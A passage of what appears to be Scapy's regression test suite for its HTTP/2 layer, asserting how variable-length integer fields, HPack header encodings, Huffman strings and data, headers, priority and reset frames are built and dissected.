b'\xFE\x00') assert r[0] == b'\x00' assert r[1] == 254 r = f.getfield(None, b'\xFF\x00\x00') assert r[0] == b'\x00' assert r[1] == 255 r = f.getfield(None, b'\xFF\xFF\x03\x00') assert r[0] == b'\x00' assert r[1] == 766 = HTTP/2 UVarIntField.getfield on partial byte ~ http2 frame field uvarintfield f = h2.UVarIntField('value', 0, 5) r = f.getfield(None, (b'\x00\x00', 3)) assert r[0] == b'\x00' assert r[1] == 0 r = f.getfield(None, (b'\x03\x00', 3)) assert r[0] == b'\x00' assert r[1] == 3 r = f.getfield(None, (b'\x1e\x00', 3)) assert r[0] == b'\x00' assert r[1] == 30 r = f.getfield(None, (b'\x1f\x00\x00', 3)) assert r[0] == b'\x00' assert r[1] == 31 r = f.getfield(None, (b'\x1f\xe1\xff\x03\x00', 3)) assert r[0] == b'\x00' assert r[1] == 65536 = HTTP/2 UVarIntField.i2m on full byte ~ http2 frame field uvarintfield f = h2.UVarIntField('value', 0, 8) assert f.i2m(None, 0) == b'\x00' assert f.i2m(None, 3) == b'\x03' assert f.i2m(None, 254).lower() == b'\xfe' assert f.i2m(None, 255).lower() == b'\xff\x00' assert f.i2m(None, 766).lower() == b'\xff\xff\x03' = HTTP/2 UVarIntField.i2m on partial byte ~ http2 frame field uvarintfield f = h2.UVarIntField('value', 0, 5) assert f.i2m(None, 0) == b'\x00' assert f.i2m(None, 3) == b'\x03' assert f.i2m(None, 30).lower() == b'\x1e' assert f.i2m(None, 31).lower() == b'\x1f\x00' assert f.i2m(None, 65536).lower() == b'\x1f\xe1\xff\x03' = HTTP/2 UVarIntField.addfield on full byte ~ http2 frame field uvarintfield f = h2.UVarIntField('value', 0, 8) assert f.addfield(None, b'Toto', 0) == b'Toto\x00' assert f.addfield(None, b'Toto', 3) == b'Toto\x03' assert f.addfield(None, b'Toto', 254).lower() == b'toto\xfe' assert f.addfield(None, b'Toto', 255).lower() == b'toto\xff\x00' assert f.addfield(None, b'Toto', 766).lower() == b'toto\xff\xff\x03' = HTTP/2 UVarIntField.addfield on partial byte ~ http2 frame field uvarintfield f = h2.UVarIntField('value', 0, 5) assert f.addfield(None, (b'Toto', 3, 4), 0) == b'Toto\x80' assert f.addfield(None, (b'Toto', 3, 4), 3) == b'Toto\x83' assert f.addfield(None, (b'Toto', 3, 4), 30).lower() == b'toto\x9e' assert f.addfield(None, (b'Toto', 3, 4), 31).lower() == b'toto\x9f\x00' assert f.addfield(None, (b'Toto', 3, 4), 65536).lower() == b'toto\x9f\xe1\xff\x03' = HTTP/2 UVarIntField.i2len on full byte ~ http2 frame field uvarintfield f = h2.UVarIntField('value', 0, 8) assert f.i2len(None, 0) == 1 assert f.i2len(None, 3) == 1 assert f.i2len(None, 254) == 1 assert f.i2len(None, 255) == 2 assert f.i2len(None, 766) == 3 = HTTP/2 UVarIntField.i2len on partial byte ~ http2 frame field uvarintfield f = h2.UVarIntField('value', 0, 5) assert f.i2len(None, 0) == 1 assert f.i2len(None, 3) == 1 assert f.i2len(None, 30) == 1 assert f.i2len(None, 31) == 2 assert f.i2len(None, 65536) == 4 + HTTP/2 FieldUVarLenField Test Suite = HTTP/2 FieldUVarLenField.i2m without adjustment ~ http2 frame field fielduvarlenfield f = h2.FieldUVarLenField('len', None, 8, length_of='data') class TrivialPacket(Packet): name = 'Trivial Packet' fields_desc= [ f, StrField('data', '') ] assert f.i2m(TrivialPacket(data='a'*5), None) == b'\x05' assert f.i2m(TrivialPacket(data='a'*255), None).lower() == b'\xff\x00' assert f.i2m(TrivialPacket(data='a'), 2) == b'\x02' assert f.i2m(None, 2) == b'\x02' assert f.i2m(None, 0) == b'\x00' = HTTP/2 FieldUVarLenField.i2m with adjustment ~ http2 frame field fielduvarlenfield class TrivialPacket(Packet): name = 'Trivial Packet' fields_desc= [ f, StrField('data', '') ] f = h2.FieldUVarLenField('value', None, 8, length_of='data', adjust=lambda x: x-1) assert f.i2m(TrivialPacket(data='a'*5), None) == b'\x04' assert f.i2m(TrivialPacket(data='a'*255), None).lower() == b'\xfe' #Adjustment does not affect non-None value! assert f.i2m(TrivialPacket(data='a'*3), 2) == b'\x02' + HTTP/2 HPackZString Test Suite = HTTP/2 HPackZString Compression ~ http2 hpack huffman string = 'Test' s = h2.HPackZString(string) assert len(s) == 3 assert raw(s) == b"\xdeT'" assert s.origin() == string string = 'a'*65535 s = h2.HPackZString(string) assert len(s) == 40960 assert raw(s) == (b'\x18\xc61\x8cc' * 8191) + b'\x18\xc61\x8c\x7f' assert s.origin() == string = HTTP/2 HPackZString Decompression ~ http2 hpack huffman s = b"\xdeT'" i, ibl = h2.HPackZString.huffman_conv2bitstring(s) assert b'Test' == h2.HPackZString.huffman_decode(i, ibl) s = (b'\x18\xc61\x8cc' * 8191) + b'\x18\xc61\x8c\x7f' i, ibl = h2.HPackZString.huffman_conv2bitstring(s) assert b'a'*65535 == h2.HPackZString.huffman_decode(i, ibl) assert( expect_exception(h2.InvalidEncodingException, 'h2.HPackZString.huffman_decode(*h2.HPackZString.huffman_conv2bitstring(b"\\xdeT"))') ) + HTTP/2 HPackStrLenField Test Suite = HTTP/2 HPackStrLenField.m2i ~ http2 hpack field hpackstrlenfield f = h2.HPackStrLenField('data', h2.HPackLiteralString(''), length_from=lambda p: p.len, type_from='type') class TrivialPacket(Packet): name = 'Trivial Packet' fields_desc = [ IntField('type', None), IntField('len', None), f ] s = f.m2i(TrivialPacket(type=0, len=4), b'Test') assert isinstance(s, h2.HPackLiteralString) assert s.origin() == 'Test' s = f.m2i(TrivialPacket(type=1, len=3), b"\xdeT'") assert isinstance(s, h2.HPackZString) assert s.origin() == 'Test' = HTTP/2 HPackStrLenField.any2i ~ http2 hpack field hpackstrlenfield f = h2.HPackStrLenField('data', h2.HPackLiteralString(''), length_from=lambda p: p.len, type_from='type') class TrivialPacket(Packet): name = 'Trivial Packet' fields_desc = [ IntField('type', None), IntField('len', None), f ] s = f.any2i(TrivialPacket(type=0, len=4), b'Test') assert isinstance(s, h2.HPackLiteralString) assert s.origin() == 'Test' s = f.any2i(TrivialPacket(type=1, len=3), b"\xdeT'") assert isinstance(s, h2.HPackZString) assert s.origin() == 'Test' s = h2.HPackLiteralString('Test') s2 = f.any2i(TrivialPacket(type=0, len=4), s) assert s.origin() == s2.origin() s = h2.HPackZString('Test') s2 = f.any2i(TrivialPacket(type=1, len=3), s) assert s.origin() == s2.origin() s = h2.HPackLiteralString('Test') s2 = f.any2i(None, s) assert s.origin() == s2.origin() s = h2.HPackZString('Test') s2 = f.any2i(None, s) assert s.origin() == s2.origin() # Verifies that one can fuzz s = h2.HPackLiteralString('Test') s2 = f.any2i(TrivialPacket(type=1, len=1), s) assert s.origin() == s2.origin() = HTTP/2 HPackStrLenField.i2m ~ http2 hpack field hpackstrlenfield f = h2.HPackStrLenField('data', h2.HPackLiteralString(''), length_from=lambda p: p.len, type_from='type') s = b'Test' s2 = f.i2m(None, h2.HPackLiteralString(s)) assert s == s2 s = b'Test' s2 = f.i2m(None, h2.HPackZString(s)) assert s2 == b"\xdeT'" = HTTP/2 HPackStrLenField.addfield ~ http2 hpack field hpackstrlenfield f = h2.HPackStrLenField('data', h2.HPackLiteralString(''), length_from=lambda p: p.len, type_from='type') s = b'Test' s2 = f.addfield(None, b'Toto', h2.HPackLiteralString(s)) assert b'Toto' + s == s2 s = b'Test' s2 = f.addfield(None, b'Toto', h2.HPackZString(s)) assert s2 == b"Toto\xdeT'" = HTTP/2 HPackStrLenField.getfield ~ http2 hpack field hpackstrlenfield f = h2.HPackStrLenField('data', h2.HPackLiteralString(''), length_from=lambda p: p.len, type_from='type') class TrivialPacket(Packet): name = 'Trivial Packet' fields_desc = [ IntField('type', None), IntField('len', None), f ] r = f.getfield(TrivialPacket(type=0, len=4), b'TestToto') assert isinstance(r, tuple) assert r[0] == b'Toto' assert isinstance(r[1], h2.HPackLiteralString) assert r[1].origin() == 'Test' r = f.getfield(TrivialPacket(type=1, len=3), b"\xdeT'Toto") assert isinstance(r, tuple) assert r[0] == b'Toto' assert isinstance(r[1], h2.HPackZString) assert r[1].origin() == 'Test' = HTTP/2 HPackStrLenField.i2h / i2repr ~ http2 hpack field hpackstrlenfield f = h2.HPackStrLenField('data', h2.HPackLiteralString(''), length_from=lambda p: p.len, type_from='type') s = b'Test' assert f.i2h(None, h2.HPackLiteralString(s)) == 'HPackLiteralString(Test)' assert f.i2repr(None, h2.HPackLiteralString(s)) == repr('HPackLiteralString(Test)') assert f.i2h(None, h2.HPackZString(s)) == 'HPackZString(Test)' assert f.i2repr(None, h2.HPackZString(s)) == repr('HPackZString(Test)') = HTTP/2 HPackStrLenField.i2len ~ http2 hpack field hpackstrlenfield f = h2.HPackStrLenField('data', h2.HPackLiteralString(''), length_from=lambda p: p.len, type_from='type') s = b'Test' assert f.i2len(None, h2.HPackLiteralString(s)) == 4 assert f.i2len(None, h2.HPackZString(s)) == 3 + HTTP/2 HPackMagicBitField Test Suite # Magic bits are not supposed to be modified and if they are anyway, they must # be assigned the magic|default value only... = HTTP/2 HPackMagicBitField.addfield ~ http2 hpack field hpackmagicbitfield f = h2.HPackMagicBitField('value', 3, 2) r = f.addfield(None, b'Toto', 3) assert isinstance(r, tuple) assert r[0] == b'Toto' assert r[1] == 2 assert r[2] == 3 r = f.addfield(None, (b'Toto', 2, 1) , 3) assert isinstance(r, tuple) assert r[0] == b'Toto' assert r[1] == 4 assert r[2] == 7 assert expect_exception(AssertionError, 'f.addfield(None, "toto", 2)') = HTTP/2 HPackMagicBitField.getfield ~ http2 hpack field hpackmagicbitfield f = h2.HPackMagicBitField('value', 3, 2) r = f.getfield(None, b'\xc0') assert isinstance(r, tuple) assert len(r) == 2 assert isinstance(r[0], tuple) assert len(r[0]) == 2 assert r[0][0] == b'\xc0' assert r[0][1] == 2 assert r[1] == 3 r = f.getfield(None, (b'\x03', 6)) assert isinstance(r, tuple) assert len(r) == 2 assert isinstance(r[0], bytes) assert r[0] == b'' assert r[1] == 3 expect_exception(AssertionError, 'f.getfield(None, b"\\x80")') = HTTP/2 HPackMagicBitField.h2i ~ http2 hpack field hpackmagicbitfield f = h2.HPackMagicBitField('value', 3, 2) assert f.h2i(None, 3) == 3 expect_exception(AssertionError, 'f.h2i(None, 2)') = HTTP/2 HPackMagicBitField.m2i ~ http2 hpack field hpackmagicbitfield f = h2.HPackMagicBitField('value', 3, 2) assert f.m2i(None, 3) == 3 expect_exception(AssertionError, 'f.m2i(None, 2)') = HTTP/2 HPackMagicBitField.i2m ~ http2 hpack field hpackmagicbitfield f = h2.HPackMagicBitField('value', 3, 2) assert f.i2m(None, 3) == 3 expect_exception(AssertionError, 'f.i2m(None, 2)') = HTTP/2 HPackMagicBitField.any2i ~ http2 hpack field hpackmagicbitfield f = h2.HPackMagicBitField('value', 3, 2) assert f.any2i(None, 3) == 3 expect_exception(AssertionError, 'f.any2i(None, 2)') + HTTP/2 HPackHdrString Test Suite = HTTP/2 Dissect HPackHdrString ~ http2 pack dissect hpackhdrstring p = h2.HPackHdrString(b'\x04Test') assert p.type == 0 assert p.len == 4 assert isinstance(p.getfieldval('data'), h2.HPackLiteralString) assert p.getfieldval('data').origin() == 'Test' p = h2.HPackHdrString(b"\x83\xdeT'") assert p.type == 1 assert p.len == 3 assert isinstance(p.getfieldval('data'), h2.HPackZString) assert p.getfieldval('data').origin() == 'Test' = HTTP/2 Build HPackHdrString ~ http2 hpack build hpackhdrstring p = h2.HPackHdrString(data=h2.HPackLiteralString('Test')) assert raw(p) == b'\x04Test' p = h2.HPackHdrString(data=h2.HPackZString('Test')) assert raw(p) == b"\x83\xdeT'" #Fuzzing-able tests p = h2.HPackHdrString(type=1, len=3, data=h2.HPackLiteralString('Test')) assert raw(p) == b'\x83Test' + HTTP/2 HPackIndexedHdr Test Suite = HTTP/2 Dissect HPackIndexedHdr ~ http2 hpack dissect hpackindexedhdr p = h2.HPackIndexedHdr(b'\x80') assert p.magic == 1 assert p.index == 0 p = h2.HPackIndexedHdr(b'\xFF\x00') assert p.magic == 1 assert p.index == 127 = HTTP/2 Build HPackIndexedHdr ~ http2 hpack build hpackindexedhdr p = h2.HPackIndexedHdr(index=0) assert raw(p) == b'\x80' p = h2.HPackIndexedHdr(index=127) assert raw(p) == b'\xFF\x00' + HTTP/2 HPackLitHdrFldWithIncrIndexing Test Suite = HTTP/2 Dissect HPackLitHdrFldWithIncrIndexing without indexed name ~ http2 hpack dissect hpacklithdrfldwithincrindexing p = h2.HPackLitHdrFldWithIncrIndexing(b'\x40\x04Test\x04Toto') assert p.magic == 1 assert p.index == 0 assert isinstance(p.hdr_name, h2.HPackHdrString) assert p.hdr_name.type == 0 assert p.hdr_name.len == 4 assert p.hdr_name.getfieldval('data').origin() == 'Test' assert isinstance(p.hdr_value, h2.HPackHdrString) assert p.hdr_value.type == 0 assert p.hdr_value.len == 4 assert p.hdr_value.getfieldval('data').origin() == 'Toto' = HTTP/2 Dissect HPackLitHdrFldWithIncrIndexing with indexed name ~ http2 hpack dissect hpacklithdrfldwithincrindexing p = h2.HPackLitHdrFldWithIncrIndexing(b'\x41\x04Toto') assert p.magic == 1 assert p.index == 1 assert p.hdr_name is None assert isinstance(p.hdr_value, h2.HPackHdrString) assert p.hdr_value.type == 0 assert p.hdr_value.len == 4 assert p.hdr_value.getfieldval('data').origin() == 'Toto' = HTTP/2 Build HPackLitHdrFldWithIncrIndexing without indexed name ~ http2 hpack build hpacklithdrfldwithincrindexing p = h2.HPackLitHdrFldWithIncrIndexing( hdr_name=h2.HPackHdrString(data=h2.HPackLiteralString('Test')), hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString(b'Toto')) ) assert raw(p) == b'\x40\x04Test\x04Toto' = HTTP/2 Build HPackLitHdrFldWithIncrIndexing with indexed name ~ http2 hpack build hpacklithdrfldwithincrindexing p = h2.HPackLitHdrFldWithIncrIndexing( index=1, hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString(b'Toto')) ) assert raw(p) == b'\x41\x04Toto' + HTTP/2 HPackLitHdrFldWithoutIndexing Test Suite = HTTP/2 Dissect HPackLitHdrFldWithoutIndexing : don't index and no index ~ http2 hpack dissect hpacklithdrfldwithoutindexing p = h2.HPackLitHdrFldWithoutIndexing(b'\x00\x04Test\x04Toto') assert p.magic == 0 assert p.never_index == 0 assert p.index == 0 assert isinstance(p.hdr_name, h2.HPackHdrString) assert p.hdr_name.type == 0 assert p.hdr_name.len == 4 assert isinstance(p.hdr_name.getfieldval('data'), h2.HPackLiteralString) assert p.hdr_name.getfieldval('data').origin() == 'Test' assert isinstance(p.hdr_value, h2.HPackHdrString) assert p.hdr_value.type == 0 assert p.hdr_value.len == 4 assert isinstance(p.hdr_value.getfieldval('data'), h2.HPackLiteralString) assert p.hdr_value.getfieldval('data').origin() == 'Toto' = HTTP/2 Dissect HPackLitHdrFldWithoutIndexing : never index index and no index ~ http2 hpack dissect hpacklithdrfldwithoutindexing p = h2.HPackLitHdrFldWithoutIndexing(b'\x10\x04Test\x04Toto') assert p.magic == 0 assert p.never_index == 1 assert p.index == 0 assert isinstance(p.hdr_name, h2.HPackHdrString) assert p.hdr_name.type == 0 assert p.hdr_name.len == 4 assert isinstance(p.hdr_name.getfieldval('data'), h2.HPackLiteralString) assert p.hdr_name.getfieldval('data').origin() == 'Test' assert isinstance(p.hdr_value, h2.HPackHdrString) assert p.hdr_value.type == 0 assert p.hdr_value.len == 4 assert isinstance(p.hdr_value.getfieldval('data'), h2.HPackLiteralString) assert p.hdr_value.getfieldval('data').origin() == 'Toto' = HTTP/2 Dissect HPackLitHdrFldWithoutIndexing : never index and indexed name ~ http2 hpack dissect hpacklithdrfldwithoutindexing p = h2.HPackLitHdrFldWithoutIndexing(b'\x11\x04Toto') assert p.magic == 0 assert p.never_index == 1 assert p.index == 1 assert p.hdr_name is None assert isinstance(p.hdr_value, h2.HPackHdrString) assert p.hdr_value.type == 0 assert p.hdr_value.len == 4 assert isinstance(p.hdr_value.getfieldval('data'), h2.HPackLiteralString) assert p.hdr_value.getfieldval('data').origin() == 'Toto' = HTTP/2 Build HPackLitHdrFldWithoutIndexing : don't index and no index ~ http2 hpack build hpacklithdrfldwithoutindexing p = h2.HPackLitHdrFldWithoutIndexing( hdr_name=h2.HPackHdrString(data=h2.HPackLiteralString('Test')), hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString(b'Toto')) ) assert raw(p) == b'\x00\x04Test\x04Toto' = HTTP/2 Build HPackLitHdrFldWithoutIndexing : never index index and no index ~ http2 hpack build hpacklithdrfldwithoutindexing p = h2.HPackLitHdrFldWithoutIndexing( never_index=1, hdr_name=h2.HPackHdrString(data=h2.HPackLiteralString('Test')), hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString(b'Toto')) ) assert raw(p) == b'\x10\x04Test\x04Toto' = HTTP/2 Build HPackLitHdrFldWithoutIndexing : never index and indexed name ~ http2 hpack build hpacklithdrfldwithoutindexing p = h2.HPackLitHdrFldWithoutIndexing( never_index=1, index=1, hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString(b'Toto')) ) assert raw(p) == b'\x11\x04Toto' + HTTP/2 HPackDynamicSizeUpdate Test Suite = HTTP/2 Dissect HPackDynamicSizeUpdate ~ http2 hpack dissect hpackdynamicsizeupdate p = h2.HPackDynamicSizeUpdate(b'\x25') assert p.magic == 1 assert p.max_size == 5 p = h2.HPackDynamicSizeUpdate(b'\x3F\x00') assert p.magic == 1 assert p.max_size == 31 = HTTP/2 Build HPackDynamicSizeUpdate ~ http2 hpack build hpackdynamicsizeupdate p = h2.HPackDynamicSizeUpdate(max_size=5) assert raw(p) == b'\x25' p = h2.HPackDynamicSizeUpdate(max_size=31) assert raw(p) == b'\x3F\x00' + HTTP/2 Data Frame Test Suite = HTTP/2 Dissect Data Frame: Simple data frame ~ http2 frame dissect data pkt = h2.H2Frame(b'\x00\x00\x04\x00\x00\x00\x00\x00\x01ABCD') assert pkt.type == 0 assert pkt.len == 4 assert len(pkt.flags) == 0 assert pkt.reserved == 0 assert pkt.stream_id == 1 assert isinstance(pkt.payload, h2.H2DataFrame) assert pkt[h2.H2DataFrame] assert pkt.payload.data == b'ABCD' assert isinstance(pkt.payload.payload, scapy.packet.NoPayload) = HTTP/2 Build Data Frame: Simple data frame ~ http2 frame build data pkt = h2.H2Frame(stream_id = 1)/h2.H2DataFrame(data='ABCD') assert raw(pkt) == b'\x00\x00\x04\x00\x00\x00\x00\x00\x01ABCD' try: pkt.show2(dump=True) assert True except Exception: assert False = HTTP/2 Dissect Data Frame: Simple data frame with padding ~ http2 frame dissect data pkt = h2.H2Frame(b'\x00\x00\r\x00\x08\x00\x00\x00\x01\x08ABCD\x00\x00\x00\x00\x00\x00\x00\x00') #Padded data frame assert pkt.type == 0 assert pkt.len == 13 assert len(pkt.flags) == 1 assert 'P' in pkt.flags assert pkt.reserved == 0 assert pkt.stream_id == 1 assert isinstance(pkt.payload, h2.H2PaddedDataFrame) assert pkt[h2.H2PaddedDataFrame] assert pkt.payload.padlen == 8 assert pkt.payload.data == b'ABCD' assert pkt.payload.padding == b'\x00'*8 assert flags_bit_pattern.search(pkt.show(dump=True)) is None assert isinstance(pkt.payload.payload, scapy.packet.NoPayload) = HTTP/2 Build Data Frame: Simple data frame with padding ~ http2 frame build data pkt = h2.H2Frame(flags = {'P'}, stream_id = 1)/h2.H2PaddedDataFrame(data='ABCD', padding=b'\x00'*8) assert raw(pkt) == b'\x00\x00\r\x00\x08\x00\x00\x00\x01\x08ABCD\x00\x00\x00\x00\x00\x00\x00\x00' try: pkt.show2(dump=True) assert True except Exception: assert False = HTTP/2 Dissect Data Frame: Simple data frame with padding and end stream flag ~ http2 frame dissect data pkt = h2.H2Frame(b'\x00\x00\r\x00\t\x00\x00\x00\x01\x08ABCD\x00\x00\x00\x00\x00\x00\x00\x00') #Padded data frame with end stream flag assert pkt.type == 0 assert pkt.len == 13 assert len(pkt.flags) == 2 assert 'P' in pkt.flags assert 'ES' in pkt.flags assert pkt.reserved == 0 assert pkt.stream_id == 1 assert isinstance(pkt.payload, h2.H2PaddedDataFrame) assert pkt[h2.H2PaddedDataFrame] assert pkt.payload.padlen == 8 assert pkt.payload.data == b'ABCD' assert pkt.payload.padding == b'\x00'*8 assert flags_bit_pattern.search(pkt.show(dump=True)) is None assert isinstance(pkt.payload.payload, scapy.packet.NoPayload) = HTTP/2 Build Data Frame: Simple data frame with padding and end stream flag ~ http2 frame build data pkt = h2.H2Frame(flags = {'P', 'ES'}, stream_id=1)/h2.H2PaddedDataFrame(data='ABCD', padding=b'\x00'*8) assert raw(pkt) == b'\x00\x00\r\x00\t\x00\x00\x00\x01\x08ABCD\x00\x00\x00\x00\x00\x00\x00\x00' try: pkt.show2(dump=True) assert True except Exception: assert False + HTTP/2 Headers Frame Test Suite = HTTP/2 Dissect Headers Frame: Simple header frame ~ http2 frame dissect headers pkt = h2.H2Frame(b'\x00\x00\x0e\x01\x00\x00\x00\x00\x01\x88\x0f\x10\ntext/plain') #Header frame assert pkt.type == 1 assert pkt.len == 14 assert len(pkt.flags) == 0 assert pkt.reserved == 0 assert pkt.stream_id == 1 assert isinstance(pkt.payload, h2.H2HeadersFrame) assert pkt[h2.H2HeadersFrame] hf = pkt[h2.H2HeadersFrame] assert len(hf.hdrs) == 2 assert isinstance(hf.hdrs[0], h2.HPackIndexedHdr) assert hf.hdrs[0].magic == 1 assert hf.hdrs[0].index == 8 assert isinstance(hf.hdrs[1], h2.HPackLitHdrFldWithoutIndexing) assert hf.hdrs[1].magic == 0 assert hf.hdrs[1].never_index == 0 assert hf.hdrs[1].index == 31 assert hf.hdrs[1].hdr_name is None assert expect_exception(AttributeError, 'hf.hdrs[1].non_existant') assert isinstance(hf.hdrs[1].hdr_value, h2.HPackHdrString) s = hf.hdrs[1].hdr_value assert s.type == 0 assert s.len == 10 assert s.getfieldval('data').origin() == 'text/plain' assert isinstance(hf.payload, scapy.packet.NoPayload) = HTTP/2 Build Headers Frame: Simple header frame ~ http2 frame build headers p = h2.H2Frame(stream_id=1)/h2.H2HeadersFrame(hdrs=[ h2.HPackIndexedHdr(index=8), h2.HPackLitHdrFldWithoutIndexing( index=31, hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('text/plain')) ) ] ) assert raw(p) == b'\x00\x00\x0e\x01\x00\x00\x00\x00\x01\x88\x0f\x10\ntext/plain' = HTTP/2 Dissect Headers Frame: Header frame with padding ~ http2 frame dissect headers pkt = h2.H2Frame(b'\x00\x00\x17\x01\x08\x00\x00\x00\x01\x08\x88\x0f\x10\ntext/plain\x00\x00\x00\x00\x00\x00\x00\x00') #Header frame with padding assert pkt.type == 1 assert pkt.len == 23 assert len(pkt.flags) == 1 assert 'P' in pkt.flags assert pkt.reserved == 0 assert pkt.stream_id == 1 assert isinstance(pkt.payload, h2.H2PaddedHeadersFrame) assert flags_bit_pattern.search(pkt.show(dump=True)) is None assert pkt[h2.H2PaddedHeadersFrame] hf = pkt[h2.H2PaddedHeadersFrame] assert hf.padlen == 8 assert hf.padding == b'\x00' * 8 assert len(hf.hdrs) == 2 assert isinstance(hf.hdrs[0], h2.HPackIndexedHdr) assert hf.hdrs[0].magic == 1 assert hf.hdrs[0].index == 8 assert isinstance(hf.hdrs[1], h2.HPackLitHdrFldWithoutIndexing) assert hf.hdrs[1].magic == 0 assert hf.hdrs[1].never_index == 0 assert hf.hdrs[1].index == 31 assert hf.hdrs[1].hdr_name is None assert expect_exception(AttributeError, 'hf.hdrs[1].non_existant') assert isinstance(hf.hdrs[1].hdr_value, h2.HPackHdrString) s = hf.hdrs[1].hdr_value assert s.type == 0 assert s.len == 10 assert s.getfieldval('data').origin() == 'text/plain' assert isinstance(hf.payload, scapy.packet.NoPayload) = HTTP/2 Build Headers Frame: Header frame with padding ~ http2 frame build headers p = h2.H2Frame(flags={'P'}, stream_id=1)/h2.H2PaddedHeadersFrame( hdrs=[ h2.HPackIndexedHdr(index=8), h2.HPackLitHdrFldWithoutIndexing( index=31, hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('text/plain')) ) ], padding=b'\x00'*8, ) assert raw(p) == b'\x00\x00\x17\x01\x08\x00\x00\x00\x01\x08\x88\x0f\x10\ntext/plain\x00\x00\x00\x00\x00\x00\x00\x00' = HTTP/2 Dissect Headers Frame: Header frame with priority ~ http2 frame dissect headers pkt = h2.H2Frame(b'\x00\x00\x13\x01 \x00\x00\x00\x01\x00\x00\x00\x02d\x88\x0f\x10\ntext/plain') #Header frame with priority assert pkt.type == 1 assert pkt.len == 19 assert len(pkt.flags) == 1 assert '+' in pkt.flags assert pkt.reserved == 0 assert pkt.stream_id == 1 assert isinstance(pkt.payload, h2.H2PriorityHeadersFrame) assert flags_bit_pattern.search(pkt.show(dump=True)) is None assert pkt[h2.H2PriorityHeadersFrame] hf = pkt[h2.H2PriorityHeadersFrame] assert hf.exclusive == 0 assert hf.stream_dependency == 2 assert hf.weight == 100 assert len(hf.hdrs) == 2 assert isinstance(hf.hdrs[0], h2.HPackIndexedHdr) assert hf.hdrs[0].magic == 1 assert hf.hdrs[0].index == 8 assert isinstance(hf.hdrs[1], h2.HPackLitHdrFldWithoutIndexing) assert hf.hdrs[1].magic == 0 assert hf.hdrs[1].never_index == 0 assert hf.hdrs[1].index == 31 assert hf.hdrs[1].hdr_name is None assert expect_exception(AttributeError, 'hf.hdrs[1].non_existant') assert isinstance(hf.hdrs[1].hdr_value, h2.HPackHdrString) s = hf.hdrs[1].hdr_value assert s.type == 0 assert s.len == 10 assert s.getfieldval('data').origin() == 'text/plain' assert isinstance(hf.payload, scapy.packet.NoPayload) = HTTP/2 Build Headers Frame: Header frame with priority ~ http2 frame build headers p = h2.H2Frame(flags={'+'}, stream_id=1)/h2.H2PriorityHeadersFrame( exclusive=0, stream_dependency=2, weight=100, hdrs=[ h2.HPackIndexedHdr(index=8), h2.HPackLitHdrFldWithoutIndexing( index=31, hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('text/plain')) ) ] ) assert raw(p) == b'\x00\x00\x13\x01 \x00\x00\x00\x01\x00\x00\x00\x02d\x88\x0f\x10\ntext/plain' = HTTP/2 Dissect Headers Frame: Header frame with priority and padding and flags ~ http2 frame dissect headers pkt = h2.H2Frame(b'\x00\x00\x1c\x01-\x00\x00\x00\x01\x08\x00\x00\x00\x02d\x88\x0f\x10\ntext/plain\x00\x00\x00\x00\x00\x00\x00\x00') #Header frame with priority and padding and flags ES|EH assert pkt.type == 1 assert pkt.len == 28 assert len(pkt.flags) == 4 assert '+' in pkt.flags assert 'P' in pkt.flags assert 'ES' in pkt.flags assert 'EH' in pkt.flags assert pkt.reserved == 0 assert pkt.stream_id == 1 assert isinstance(pkt.payload, h2.H2PaddedPriorityHeadersFrame) assert flags_bit_pattern.search(pkt.show(dump=True)) is None assert pkt[h2.H2PaddedPriorityHeadersFrame] hf = pkt[h2.H2PaddedPriorityHeadersFrame] assert hf.padlen == 8 assert hf.padding == b'\x00' * 8 assert hf.exclusive == 0 assert hf.stream_dependency == 2 assert hf.weight == 100 assert len(hf.hdrs) == 2 assert isinstance(hf.hdrs[0], h2.HPackIndexedHdr) assert hf.hdrs[0].magic == 1 assert hf.hdrs[0].index == 8 assert isinstance(hf.hdrs[1], h2.HPackLitHdrFldWithoutIndexing) assert hf.hdrs[1].magic == 0 assert hf.hdrs[1].never_index == 0 assert hf.hdrs[1].index == 31 assert hf.hdrs[1].hdr_name is None assert expect_exception(AttributeError, 'hf.hdrs[1].non_existant') assert isinstance(hf.hdrs[1].hdr_value, h2.HPackHdrString) s = hf.hdrs[1].hdr_value assert s.type == 0 assert s.len == 10 assert s.getfieldval('data').origin() == 'text/plain' assert isinstance(hf.payload, scapy.packet.NoPayload) = HTTP/2 Build Headers Frame: Header frame with priority and padding and flags ~ http2 frame build headers p = h2.H2Frame(flags={'P', '+', 'ES', 'EH'}, stream_id=1)/h2.H2PaddedPriorityHeadersFrame( exclusive=0, stream_dependency=2, weight=100, padding=b'\x00'*8, hdrs=[ h2.HPackIndexedHdr(index=8), h2.HPackLitHdrFldWithoutIndexing( index=31, hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('text/plain')) ) ] ) + HTTP/2 Priority Frame Test Suite = HTTP/2 Dissect Priority Frame ~ http2 frame dissect priority pkt = h2.H2Frame(b'\x00\x00\x05\x02\x00\x00\x00\x00\x03\x80\x00\x00\x01d') assert pkt.type == 2 assert pkt.len == 5 assert len(pkt.flags) == 0 assert pkt.reserved == 0 assert pkt.stream_id == 3 assert isinstance(pkt.payload, h2.H2PriorityFrame) assert pkt[h2.H2PriorityFrame] pp = pkt[h2.H2PriorityFrame] assert pp.stream_dependency == 1 assert pp.exclusive == 1 assert pp.weight == 100 = HTTP/2 Build Priority Frame ~ http2 frame build priority p = h2.H2Frame(stream_id=3)/h2.H2PriorityFrame( exclusive=1, stream_dependency=1, weight=100 ) assert raw(p) == b'\x00\x00\x05\x02\x00\x00\x00\x00\x03\x80\x00\x00\x01d' + HTTP/2 Reset Stream Frame Test Suite = HTTP/2 Dissect Reset Stream Frame: Protocol Error ~ http2 frame dissect rststream pkt = h2.H2Frame(b'\x00\x00\x04\x03\x00\x00\x00\x00\x01\x00\x00\x00\x01') #Reset stream with protocol error assert pkt.type == 3 assert pkt.len == 4 assert len(pkt.flags) == 0 assert pkt.reserved == 0 assert pkt.stream_id == 1 assert isinstance(pkt.payload, h2.H2ResetFrame) assert pkt[h2.H2ResetFrame] rf = pkt[h2.H2ResetFrame] assert rf.error == 1 assert isinstance(rf.payload, scapy.packet.NoPayload) = HTTP/2 Build Reset Stream Frame: Protocol Error ~ http2 frame build rststream p = 